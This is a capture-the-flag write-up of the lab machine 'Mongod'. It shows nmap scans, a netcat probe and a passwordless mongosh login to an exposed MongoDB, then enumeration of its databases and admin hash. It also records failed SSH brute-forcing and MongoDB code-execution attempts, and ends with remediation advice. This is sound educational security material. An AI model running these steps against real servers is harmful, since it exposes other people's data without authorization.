TL;DR

Mongod runs MongoDB 3.6.8 on port 27017 with no authentication required and bound to 0.0.0.0. A two-port scan finds SSH (22) and MongoDB (27017). Connecting with mongosh or mongo requires no credentials; listing databases reveals sensitive_information alongside a populated users database. The flag lives in sensitive_information.flag. Going further: the admin database contains a hashed admin credential (testadmin), and the users database has 25 ecommerce user records with MD5/SHA1 password hashes — none crackable with rockyou. Shell access via SSH brute-force also fails. The lesson: an unauthenticated MongoDB instance exposes your entire dataset to anyone who can reach port 27017.

Recon

1. Liveness check

$ ping -c 2 10.129.228.30
PING 10.129.228.30 (10.129.228.30): 56 data bytes
64 bytes from 10.129.228.30: icmp_seq=0 ttl=63 time=34.1 ms
64 bytes from 10.129.228.30: icmp_seq=1 ttl=63 time=36.2 ms

TTL=63 → Linux (64 minus one hop). Host is alive and reachable.

2. Quick scan of common ports

$ nmap -sV -sC -p 22,80,443,3306,27017 -Pn 10.129.228.30
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
27017/tcp open  mongodb MongoDB 3.6.8

Two open ports: SSH and MongoDB. No web server.

3. Full TCP sweep confirmation

$ nmap -p- --min-rate 1000 -Pn 10.129.228.30
PORT      STATE  SERVICE
22/tcp    open   ssh
27017/tcp open   mongodb

Only these two ports across all 65535. The entire attack surface is SSH and MongoDB.

4. MongoDB authentication probe

echo -e "isMaster\r\n" | nc -w 3 10.129.228.30 27017

Got a binary BSON response — connection accepted. Connecting directly:

mongosh --host 10.129.228.30 --port 27017 --quiet

No username, no password prompt. Immediate access to the MongoDB shell.

Foothold

Dead end #1 — SSH brute force

The admin database contains a user testadmin with a SCRAM-SHA-1 hash. Attempted to crack it and use the credentials for SSH:

# Extract the SCRAM hash from system.users
# Tried with rockyou.txt + common_passwords.txt → no match
# Tried 77 user:password combinations from the ecommerceWebapp users → all FAILED

None of the 25 ecommerce users’ email/password pairs worked for SSH. The SSH service requires separate system credentials not present in MongoDB.

Dead end #2 — accessing the admin database for RCE

Tried common MongoDB RCE paths:

// Via db.eval() — deprecated in 3.6, requires special role
db.eval("function() { return run('id'); }")
// → MongoServerError: no such command: 'eval'

// Via system.js stored procedures
db.system.js.insert({_id: "test", value: function() { return "hello"; }})
db.loadServerScripts()
// → Works, but no file I/O or OS access from here

// Via $where and function constructor escape
db.collection.find({$where: "this.constructor.constructor('return process')().exit()"})
// → Sandbox: process not directly accessible

MongoDB 3.6 does not have db.eval() by default and the available JavaScript sandbox does not expose OS-level functions.

Working approach — enumerate databases and read flag

> show dbs
admin                0.000GB
config               0.000GB
local                0.032GB
sensitive_information 0.000GB
users                0.001GB

> use sensitive_information
switched to db sensitive_information

> show collections
flag

> db.flag.find().pretty()
{
  "_id" : ObjectId("630e3dbcb82540ebbd1748c5"),
  "flag" : "[REDACTED]"
}

The flag is a document field in the flag collection of the sensitive_information database.

Bonus — full database contents

The users database contained 25 ecommerce user documents:

> use users
> db.getCollectionNames()
[ "ecommerceWebapp" ]
> db.ecommerceWebapp.count()
25

The admin database revealed a system user:

> use admin
> db.system.users.find().pretty()
{
  "user" : "testadmin",
  "db" : "admin",
  "roles" : [{ "role" : "root", "db" : "admin" }],
  "credentials" : {
    "SCRAM-SHA-1" : {
      "iterationCount" : 10000,
      "salt" : "QwpaOuhrcMonYmNc5lO91g==",
      ...
    }
  }
}

The testadmin user has the root role but the SCRAM-SHA-1 hash could not be cracked with rockyou.

Privilege Escalation

N/A — Starting Point Tier 0 objective is the flag in the sensitive_information database. There is no filesystem-level flag requiring privilege escalation. The MongoDB service runs as uid=113 (mongodb user), and all escalation paths from that user were blocked on the underlying system.

What’s actually broken

  1. MongoDB bound to 0.0.0.0 with no authentication. The default MongoDB configuration prior to 3.6 had no authentication. Version 3.6 added --auth as a non-default option. This installation never enabled it. Any host reaching port 27017 gets full read/write access to all databases.
  2. Sensitive data in a database literally named sensitive_information. The flag is a placeholder for what in real environments would be PII, payment data, API keys, or authentication tokens — all directly readable.
  3. Admin credentials stored with weak SCRAM configuration. 10000 SCRAM iterations is below the current recommended minimum of 15000 (MongoDB 4.x default). The hash schema version is v5, the earliest supported.
  4. No TLS on MongoDB connections. All queries and responses travel in plaintext over the network.

Remediation (the boring half)

Enable authentication in /etc/mongodb.conf:

security:
  authorization: enabled

Create a root admin user before enabling auth:

use admin
db.createUser({
  user: "admin",
  pwd: passwordPrompt(),
  roles: ["root"]
})

Bind to localhost only (if app server is co-located):

net:
  bindIp: 127.0.0.1
  port: 27017

Enable TLS:

net:
  tls:
    mode: requireTLS
    certificateKeyFile: /etc/ssl/mongodb.pem
    CAFile: /etc/ssl/ca.pem

Firewall rules (if remote access is needed):

ufw deny 27017
ufw allow from 10.0.1.0/24 to any port 27017

Lessons learned

  • MongoDB’s default install historically had no auth. Even in modern versions, authentication must be explicitly enabled. Check any MongoDB port you find with mongosh --host IP before assuming it’s secured.
  • Database names are metadata. sensitive_information is an obvious CTF construct, but in production customers, payments, auth_tokens, and sessions databases are common. Enumerate all database names immediately after connecting.
  • SCRAM hashes are not directly usable for auth. Unlike NTLM hashes (pass-the-hash), MongoDB SCRAM-SHA-1 hashes cannot be used directly to authenticate without first cracking them. SSH brute force is a separate attack surface.
  • No auth + no TLS + 0.0.0.0 = full data exposure. These three misconfigurations together mean anyone with a route to port 27017 can read, write, and delete all data. Each one alone is bad; combined they are catastrophic.

References